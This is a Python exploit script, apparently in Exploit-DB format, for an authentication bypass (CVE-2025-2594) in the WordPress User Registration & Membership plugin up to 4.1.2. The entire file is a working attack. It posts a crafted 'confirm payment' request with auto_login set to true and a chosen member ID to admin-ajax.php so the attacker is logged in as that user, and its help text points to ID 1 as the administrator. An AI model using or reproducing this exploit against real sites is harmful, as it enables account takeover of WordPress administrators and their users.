#!/usr/bin/env python3
# Exploit Title: WordPress User Registration & Membership Plugin 4.1.2 - Authentication Bypass
# Date: 2025-05-22
# Exploit Author: Mohammed Idrees Banyamer
# Vendor Homepage: https://wordpress.org/plugins/user-registration/
# Software Link: https://downloads.wordpress.org/plugin/user-registration.4.1.2.zip
# Version: <= 4.1.2
# Tested on: WordPress 6.x, Apache on Linux
# CVE: CVE-2025-2594
import requests
import sys
import argparse
from urllib.parse import urljoin
from termcolor import cprint, colored
def banner():
cprint("┌──────────────────────────────────────────────┐", "cyan")
cprint("│ WordPress Plugin User Registration <= 4.1.2 │", "cyan")
cprint("│ Authentication Bypass Exploit (CVE-2025-2594)│", "cyan")
cprint("│ Author: Mohammed Idrees Banyamer │", "cyan")
cprint("└──────────────────────────────────────────────┘", "cyan")
def exploit(target_url, member_id, nonce):
endpoint = urljoin(target_url, "/wp-admin/admin-ajax.php")
files = {
'action': (None, 'user_registration_membership_confirm_payment'),
'security': (None, nonce),
'form_response': (None, '{"auto_login": true}'),
'member_id': (None, str(member_id))
}
cprint(f"[+] Target URL: {endpoint}", "yellow")
cprint(f"[+] Attempting to bypass authentication as user ID {member_id}...\n", "yellow")
try:
response = requests.post(endpoint, files=files, timeout=10)
if response.status_code == 200 and '"success":true' in response.text:
cprint("[✓] Exploit successful! Authentication bypass achieved.", "green")
cprint("[!] Check your session/cookies - you may now be authenticated as the target user.\n", "green")
print("Server Response:")
print(response.text)
else:
cprint("[-] Exploit failed or invalid nonce/member_id.", "red")
print("Server Response:")
print(response.text)
except requests.exceptions.RequestException as e:
cprint(f"[!] Request failed: {e}", "red")
def main():
banner()
parser = argparse.ArgumentParser(description="CVE-2025-2594 - WordPress Plugin Authentication Bypass")
parser.add_argument("target", help="Base target URL (e.g., http://localhost)")
parser.add_argument("member_id", help="Target user ID (usually 1 for admin)")
parser.add_argument("nonce", help="_confirm_payment_nonce value from registration page")
args = parser.parse_args()
exploit(args.target, args.member_id, args.nonce)
if __name__ == "__main__":
main()